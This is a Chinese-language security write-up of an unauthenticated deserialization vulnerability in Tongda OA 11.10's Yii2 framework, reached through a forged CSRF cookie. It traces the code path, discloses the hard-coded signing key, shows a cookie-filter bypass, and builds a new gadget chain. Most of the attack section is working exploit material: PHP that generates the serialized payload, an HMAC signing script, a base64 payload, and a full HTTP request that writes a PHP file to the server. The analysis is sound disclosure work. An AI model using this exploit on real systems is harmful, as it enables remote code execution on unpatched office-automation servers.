查看通达oa 11.10使用的yii框架版本是2.0.13-dev，该版本在inc/vendor/yii2/yiisoft/yii2/BaseYii.php（yii/BaseYii）的getVersion方法可以查看。由于通达oa解密后的代码会对yii框架部分代码有影响，会出现乱码的情况，所以建议找到对应版本后上yii仓库下载源码。
`static public function getVersion() { return "2.0.13-dev"; } `
在控制器中设置
`public $enableCsrfValidation = true; `
在yii框架的/config/main.php设置
`request => [ 'enableCookieValidation' => true, ] `
yii框架默认是开启这个设置的。
通达oa在inc/vendor/yii2/yiisoft/yii2/web/Request.php页面中，设置public $enableCsrfValidation = true;$enableCsrfValidation = true;（默认）
还可以设置beforeAction在某些方法之前进行csrf token、afterAction在某些方法之后进行csrf token、表单设置、ajax异步post请求设置，这些其他模式设置csrf token请查看《Yii2 关闭和打开csrf 验证》。
Cookie中_csrf的参数，格式大致如下：
`Cookie: _csrf=[0-9a-zA-Z]a:2:{i:0;s:5:"_csrf";i:1;s:32:"[0-9a-zA-Z]"} `
a开始就是序列化的数组数据。
例如：
`Cookie: _csrf=1e21c37c4e981a0a44b6ae2c6af5f73007458c445682db139b040fc8262a9266a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22brBzjgY3PLWqhQtyweObnwZg74YP17Fn%22%3B%7D; `
通过这些可以看到该漏洞的利用条件如下：
yii csrf token开启（默认开启）
只能影响到yii框架函数request类请求的数据流，php原生请求方式不受影响。
yii框架csrf token生成的时候会生成一部分序列化数据，校验该token需要对这部分序列化数据进行反序列化校验。
yii/helpers/BaseHtml的csrfMetaTags方法是生成csrftoken后将其放在html的meta标签里面的方法。yii默认是开启csrf校验的，所以$request->enableCsrfValidation默认为true，默认就会调用yii/web/Request::getCsrfToken方法获取csrf token。
`public static function csrfMetaTags() { $request = Yii::$app->getRequest(); // $request是framework/web/Request.php Request类 if ($request instanceof Request && $request->enableCsrfValidation) { return static::tag('meta', '', ['name' => 'csrf-param', 'content' => $request->csrfParam]) . "\n " . static::tag('meta', '', ['name' => 'csrf-token', 'content' => $request->getCsrfToken()]) . "\n"; } return ''; } //framework/web/Request.php public $enableCsrfValidation = true; `
跟进getCsrfToken方法，$this->_csrfToken可控，设置为null，从而能继续进入$this->loadCsrfToken()。
`public function getCsrfToken($regenerate = false) { //可设置 $this->_csrfToken = null if ($this->_csrfToken === null || $regenerate) { if ($regenerate || ($token = $this->loadCsrfToken()) === null) { $token = $this->generateCsrfToken(); } $this->_csrfToken = Yii::$app->security->maskToken($token); } return $this->_csrfToken; } `
$this->loadCsrfToken()由于$this->enableCsrfCookie默认就为true，就会调用getCookies方法。$this->_cookies可控，从而调用$this->loadCookies()。loadCookies方法中$this->cookieValidationKey根据手册开启csrf校验该密钥可以在yii web配置里查看。通达oa中yii的web配置文件是general/appbuilder/config/web.php，在这里面可以看到固定密码为tdide2。
`protected function loadCsrfToken() { //默认或可设置$enableCsrfCookie = true if ($this->enableCsrfCookie) { return $this->getCookies()->getValue($this->csrfParam); } return Yii::$app->getSession()->get($this->csrfParam); } public function getCookies() { if ($this->_cookies === null) { $this->_cookies = new CookieCollection($this->loadCookies(), [ 'readOnly' => true, ]); } return $this->_cookies; } protected function loadCookies() { $cookies = []; if ($this->enableCookieValidation) { if ($this->cookieValidationKey == '') { throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.'); } foreach ($_COOKIE as $name => $value) { if (!is_string($value)) { continue; } //$this->cookieValidationKey = 'tdide2' $data = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey); if ($data === false) { continue; } // 反序列化点 $data = @unserialize($data); if (is_array($data) && isset($data[0], $data[1]) && $data[0] === $name) { $cookies[$name] = Yii::createObject([ 'class' => 'yii\web\Cookie', 'name' => $name, 'value' => $data[1], 'expire' => null, ]); } } ...... `
回到loadCookies中，对$_COOKIE循环遍历并对cookie中每个字段的值用Yii::$app->getSecurity()->validateData()校验，校验csrf token值无问题后对其进行反序列化。
跟进发现是yii/base/Security的validataData方法。该方法校验思路是比对cookie的csrf token中传入的hash和代码中重新计算的hash是否一致。hash_hmac设置的是sha256位的hash计算模式，因此每次传入csrf token都要计算对应的hash值。
`public function validateData($data, $key, $rawHash = false) { //$this->macHash = sha256 $test = @hash_hmac($this->macHash, '', '', $rawHash); if (!$test) { throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash); } $hashLength = StringHelper::byteLength($test); if (StringHelper::byteLength($data) >= $hashLength) { $hash = StringHelper::byteSubstr($data, 0, $hashLength); $pureData = StringHelper::byteSubstr($data, $hashLength, null); //hash_mac('sha256',$pureData,'tdide2',false) $calculatedHash = hash_hmac($this->macHash, $pureData, $key, $rawHash); if ($this->compareString($hash, $calculatedHash)) { return $pureData; } } return false; } `
分析完了反序列化unserialize的触发点，但还要找到调用csrfMetaTags方法的地方。由于yii/web/Request::csrfMetaTags是生成html页面meta标签的csrf token，因此调用的地方一般在html模版或者写页面的方法中。全局搜索，在general/appbuilder/views/layouts/main.php中有调用该方法。
`<?php $this->beginPage(); echo "<!DOCTYPE html>\n<html lang=\""; echo Yii::$app->language; echo "\">\n<head>\n <meta charset=\""; echo Yii::$app->charset; echo "\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n "; echo yii\helpers\Html::csrfMetaTags(); echo " <title>"; ...... `
查看/general/appbuilder/目录结构发现general/appbuilder/views/是yii框架写的模板主页面。只要调用了该路由下的方法就能触发模板渲染。
根据手册，general/appbuilder/config/params.php是配置框架参数的，其中skip_module是配置不进行鉴权的模块，其中就有portal门户模块。
`<?php include_once "inc/td_config.php"; $arr_mysql_server = explode(":", TD::$_arr_db_master["host"]); return array( ...... "skip_module" => array("portal", "hr", "meeting", "formCenter", "calendar", "officeproduct", "invoice"), `
同时general/appbuilder/web/index.php是yii路由入口，获取请求路径后以问号为分隔符substr分割路径和uri参数。portal模块下不是gateway、/gateway/saveportal、edit、uploadfile、uploadportalfile、uploadpicture、dologin的话会直接跳转到index.php，从而可以触发general/appbuilder/views/layouts/main.php模板。
`...... else { $url = $_SERVER["REQUEST_URI"]; //获取路径 $strurl = substr($url, 0, strpos($url, "?")); //分割路径和uri参数 if (strpos($strurl, "/portal/") !== false) { if (strpos($strurl, "/gateway/") === false) { header("Location:/index.php"); sess_close(); exit(); } else if (strpos($strurl, "/gateway/saveportal") !== false) { header("Location:/index.php"); sess_close(); exit(); } else if (strpos($url, "edit") !== false) { header("Location:/index.php"); sess_close(); exit(); } else if (strpos($url, "uploadfile") !== false) { header("Location:/index.php"); sess_close(); exit(); } else if (strpos($url, "uploadportalfile") !== false) { header("Location:/index.php"); sess_close(); exit(); } else if (strpos($url, "uploadpicture") !== false) { header("Location:/index.php"); sess_close(); exit(); } else if (strpos($url, "dologin") !== false) { header("Location:/index.php"); sess_close(); exit(); } } ...... `
因此，触发漏洞的路由是/general/appbuilder/portal/gateway/?。
在inc/common.inc.php可以看到通达OA有全局的addslashes过滤，对Cookie中过滤。传入payload的时候将_csrf改为_GET、_POST等就可以绕过。
`if (0 < count($_COOKIE)) { foreach ($_COOKIE as $s_key => $s_value ) { if ((substr($s_key, 0, 7) == "_SERVER") || (substr($s_key, 0, 8) == "_SESSION") || (substr($s_key, 0, 7) == "_COOKIE") || (substr($s_key, 0, 4) == "_GET") || (substr($s_key, 0, 5) == "_POST") || (substr($s_key, 0, 6) == "_FILES")) { continue; } if (!is_array($s_value)) { $_COOKIE[$s_key] = addslashes(strip_tags($s_value)); } $s_key = $_COOKIE[$s_key]; } reset($_COOKIE); } `
yii常见的反序列化起点是利用yii\db\BatchQueryResult的。其中yii框架POP1链条差不多如下：**yii\db\BatchQueryResult-Faker\Generator-yii\rest\CreateAction**，但是通达oa里并没有用**Faker\Generator**，而且好多yii反序列化链涉及的类都通达oa都没有，因此这里需要重新找一条链。
yii\db\BatchQueryResult的__destruct调用的reset方法，其中$this->_dataReader可控，$this->_dataReader->close()可以理解为可控类->close()。全局搜索到yii\db\DataReader存在close()方法。
`public function __destruct() { // make sure cursor is closed $this->reset(); } public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); } $this->_dataReader = null; $this->_batch = null; $this->_value = null; $this->_key = null; } `
因此，可设置$this->_dataReader=new DataReader()从而触发调用其close方法，进入后$this->_statement可控，同样是可控类->closeCursor()，但是全局搜索没找到什么对应的类。尝试找带有call方法的类，通过调用其不存在的closeCursor，触发call方法。
`public function close() { $this->_statement->closeCursor();//$this->_statement = new Connection(); $this->_closed = true; } `
在通达oa 11.10全局搜索中找到yii2框架还用了yii2-redis库，在yii2-redis里面找到yii\redis\Connection类存在call方法。
打开后发现代码由于解密问题有乱码问题，找到对应的yii2-redis仓库下载对应版本的源码（inc/vendor/yii2/yiisoft/extensions.php页面可查看yii2-redis版本为2.0.6）。$redisCommand=$name='closeCursor'转换为大写，再与$this->redisCommands比对，查看是否存在其中，而$this->redisCommands可控，可参照其默认值形式，设置为CLOSE CURSOR，从而可进入executeCommand。
`public $redisCommands = [ 'APPEND', // Append a value to a key 'AUTH', // Authenticate to the server 'BGREWRITEAOF', // Asynchronously rewrite the append-only file 'BGSAVE', // Asynchronously save the dataset to disk ...... ]; public function __call($name, $params)//$name=closeCursor,$params=null { $redisCommand = strtoupper(Inflector::camel2words($name, false));//CLOSECURSOR if (in_array($redisCommand, $this->redisCommands)) { return $this->executeCommand($redisCommand, $params); } return parent::__call($name, $params); } `
executeCommand调用open方法，跟进发现$this->_socket可控，为保证代码继续运行这里要设置为false（默认初始化值为false）。$connection由hostname、port、database拼接，每个变量都可控，然后后续进行socket的链接。由于通达一体包系统环境一般是win系统，所以设置$this->unixSocket为false（可控）就能进入win下tcp链接。这里只要连通就可以让$this->_socket为true进入if分支。if分之内前面三个if条件$this->dataTimeout、$this->password、$this->database都可控，这三个分支调用的不是executeCommand的递归就是又进行socket链接都不符合情况，所以需要设置为null，才能保证进入initConnection()。
`public function executeCommand($name, $params = []) { $this->open(); ...... } public function open() { if ($this->_socket !== false) { return; } $connection = ($this->unixSocket ?: $this->hostname . ':' . $this->port) . ', database=' . $this->database; \Yii::trace('Opening redis DB connection: ' . $connection, __METHOD__); $this->_socket = @stream_socket_client( $this->unixSocket ? 'unix://' . $this->unixSocket : 'tcp://' . $this->hostname . ':' . $this->port, $errorNumber, $errorDescription, $this->connectionTimeout ? $this->connectionTimeout : ini_get('default_socket_timeout'), $this->socketClientFlags ); if ($this->_socket) { if ($this->dataTimeout !== null) { stream_set_timeout($this->_socket, $timeout = (int) $this->dataTimeout, (int) (($this->dataTimeout - $timeout) * 1000000)); } if ($this->password !== null) { $this->executeCommand('AUTH', [$this->password]); } if ($this->database !== null) { $this->executeCommand('SELECT', [$this->database]); } $this->initConnection(); } ...... }`
initConnection()实际调用的是yii\base\Component（framework/base/Component.php）::trigger()方法，参数EVENT_AFTER_OPEN固定值是afterOpen。
`const EVENT_AFTER_OPEN = 'afterOpen'; protected function initConnection() { $this->trigger(self::EVENT_AFTER_OPEN);//$this->trigger('afterOpen'); } `
trigger方法在line560调用了call_user_func，逆向溯源两个$handler[0]和$event参数。$this->_events[$name]=$this->['afterOpen']不为空，就能进入该分支调用call_user_func。然后对$this->_events['afterOpen']进行数组遍历，于是$this->_events['afterOpen'][0]=$handler[0]可控，$this->_events['afterOpen'][1]=$event->data=Event::data不可控。
`public function trigger($name, Event $event = null) { $this->ensureBehaviors(); //$this->_events['afterOpen'] = '' if (!empty($this->_events[$name])) { if ($event === null) { $event = new Event(); } if ($event->sender === null) { $event->sender = $this;//yii\base\Component } $event->handled = false; $event->name = $name;//'afterOpen' //$this->>_events['afterOpen'] = $handler; foreach ($this->_events[$name] as $handler) { $event->data = $handler[1];//any call_user_func($handler[0],$event);//call_user_func([new CreateAction,'run'],any); // stop further handling if the event is handled if ($event->handled) { return; } } } // invoke class-level attached handlers Event::trigger($this, $name, $event); } `
参考低版本yii反序列化链执行代码注入的一般通过yii\rest\CreateAction或者类似的类（代码内容如下所示）。其中$this->checkAccess和$this->id都可控，$this->checkAccess设置为调用php函数，如system执行命令；$this->id设置执行内容，如命令whoami。
`public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } ...... `
结合上面的trigger方法，call_user_func参数1可以设置为调用CreateAction的run方法，调用方式：call_user_func([new CreateAction, 'run'],'a')。如何给$this->_events['afterOpen']赋值，继续查看如下代码注释：
`//$this->>_events['afterOpen'] = $handler; //一重数组，$handler要求是数组 foreach ($this->_events[$name] as $handler) { //二重数组，$handler分为$handler[0]和handler[1] $event->data = $handler[1];//any call_user_func($handler[0],$event); //call_user_func([new CreateAction,'run'],any); //三重数组，call_user_func调用类需要用数组传入，形如[new A(),...params]`
转换过来也就是$this->_events['afterOpen'] = [[[new CreatAction, 'run'],'a']]。
该链条效果为写入一个名为hgsd.php的php文件，内容为<?php echo 123;?>。输出反序列化payload的base64编码，解码并urlencode作为伪造的csrf token一部分数据。
`<?php //step4 namespace yii\rest { class CreateAction { public $id; public $checkAccess; public function __construct() { $this->checkAccess = 'assert'; $this->id = "file_put_contents('hgsd.php','<?php echo 123;?>')"; } } } //step3 namespace yii\base { use yii\rest\CreateAction; class Component { private $_events = []; private $_behaviors = 1; public function __construct() { $this->_events = ["afterOpen" => [[[new CreateAction(), "run"], "a"]]]; //第二个"a"参数任意。 } } } //step2 namespace yii\redis { use yii\base\Component; class Connection extends Component{ public $redisCommands = []; public $hostname = ''; public $port; public $password; public $username; public $connectionTimeout; public $dataTimeout; public $database; public $unixSocket; private $_socket; public function __construct() { $this->redisCommands = array('CLOSE CURSOR'); $this->_socket = false; $this->hostname = '127.0.0.1'; $this->port = 803;//能够连通的任意本地服务的端口 $this->unixSocket = false; $this->connectionTimeout = 5; parent::__construct(); } } } // step1 namespace yii\db { use yii\redis\Connection; class DataReader { private $_statement; private $_closed = false; private $_row; private $_index = -1; public function __construct() { $this->_statement = new Connection(); } } class BatchQueryResult { public $batchSize = 100; public $each = false; private $_dataReader; private $_batch; private $_value; private $_key; public function __construct() { $this->_dataReader = new DataReader(); } } } //start namespace { use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); } `
对第一步生成的反序列化payload（base64已编码）进行hash计算，从而生成对应的csrf token另一部分数据。
`<?php $pureData=base64_decode('TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjY6e3M6OToiYmF0Y2hTaXplIjtpOjEwMDtzOjQ6ImVhY2giO2I6MDtzOjM2OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2RhdGFSZWFkZXIiO086MTc6InlpaVxkYlxEYXRhUmVhZGVyIjo0OntzOjI5OiIAeWlpXGRiXERhdGFSZWFkZXIAX3N0YXRlbWVudCI7TzoyMDoieWlpXHJlZGlzXENvbm5lY3Rpb24iOjEyOntzOjEzOiJyZWRpc0NvbW1hbmRzIjthOjE6e2k6MDtzOjEyOiJDTE9TRSBDVVJTT1IiO31zOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjgwMztzOjg6InBhc3N3b3JkIjtOO3M6ODoidXNlcm5hbWUiO047czoxNzoiY29ubmVjdGlvblRpbWVvdXQiO2k6NTtzOjExOiJkYXRhVGltZW91dCI7TjtzOjg6ImRhdGFiYXNlIjtOO3M6MTA6InVuaXhTb2NrZXQiO2I6MDtzOjI5OiIAeWlpXHJlZGlzXENvbm5lY3Rpb24AX3NvY2tldCI7YjowO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YToxOntzOjk6ImFmdGVyT3BlbiI7YToxOntpOjA7YToyOntpOjA7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjI6ImlkIjtzOjIxMjoiZmlsZV9wdXRfY29udGVudHModGRfYXV0aGNvZGUoIjVhNGE4LzZGR2g2Z0hFRzEwZnZTN1JocFpVMFhBdm1CNmJJblZpOGpYNWlaTEZ4Vkh3IiwiREVDT0RFIiwiMTIzNDU2Nzg5MCIsIiIpLHRkX2F1dGhjb2RlKCIzMjk4THRaU3RaQWxKRWVma0VJdWJadjVhdU1VS2ZEeWdORmVWcTArT0JobFNYb3p5S1BMNVFMQkxYNlZFdyIsIkRFQ09ERSIsIjEyMzQ1Njc4OTAiLCIiKSkiO3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6ImFzc2VydCI7fWk6MTtzOjM6InJ1biI7fWk6MTtzOjE6ImEiO319fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7aToxO31zOjI2OiIAeWlpXGRiXERhdGFSZWFkZXIAX2Nsb3NlZCI7YjowO3M6MjM6IgB5aWlcZGJcRGF0YVJlYWRlcgBfcm93IjtOO3M6MjU6IgB5aWlcZGJcRGF0YVJlYWRlcgBfaW5kZXgiO2k6LTE7fXM6MzE6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfYmF0Y2giO047czozMToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF92YWx1ZSI7TjtzOjI5OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2tleSI7Tjt9'); $calculatedHash = hash_hmac('sha256',$pureData,'tdide2',false); # yii general/appbuilder/config/web.php cookieValidationKey 固定值 echo($calculatedHash); `
对数据包请求方式没有限制，get和post方式都可以。伪造的csrf token格式是Cookie: _GET=csrftoken_hashmac+反序列化payload urlencode。按照payload格式拼接完毕后，在发送如下请求：
`POST /general/appbuilder/web/portal/gateway/? HTTP/1.1 Host: x.x.x.x Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: _GET=c90e0967189ce5543daef73219235d04c98bb1ef4b2450f2c420e3302b8fa9a3O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A6%3A%7Bs%3A9%3A%22batchSize%22%3Bi%3A100%3Bs%3A4%3A%22each%22%3Bb%3A0%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A4%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE%20CURSOR%22%3B%7Ds%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A803%3Bs%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22username%22%3BN%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A5%3Bs%3A11%3A%22dataTimeout%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A10%3A%22unixSocket%22%3Bb%3A0%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A212%3A%22file_put_contents(td_authcode(%225a4a8%2F6FGh6gHEG10fvS7RhpZU0XAvmB6bInVi8jX5iZLFxVHw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22)%2Ctd_authcode(%223298LtZStZAlJEefkEIubZv5auMUKfDygNFeVq0%2BOBhlSXozyKPL5QLBLX6VEw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22))%22%3Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22assert%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Di%3A1%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3B%7Ds%3A26%3A%22%00yii%5Cdb%5CDataReader%00_closed%22%3Bb%3A0%3Bs%3A23%3A%22%00yii%5Cdb%5CDataReader%00_row%22%3BN%3Bs%3A25%3A%22%00yii%5Cdb%5CDataReader%00_index%22%3Bi%3A-1%3B%7Ds%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_batch%22%3BN%3Bs%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_value%22%3BN%3Bs%3A29%3A%22%00yii%5Cdb%5CBatchQueryResult%00_key%22%3BN%3B%7D Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 `
执行成功后响应500，响应体如下图所示：
文件生成目录：/general/appbuilder/web/，上述生成的poc文件目录是/general/appbuilder/web/hgsd.php。
漏洞挖掘发布者：烽火台实验室-【新】通达OA前台反序列化漏洞分析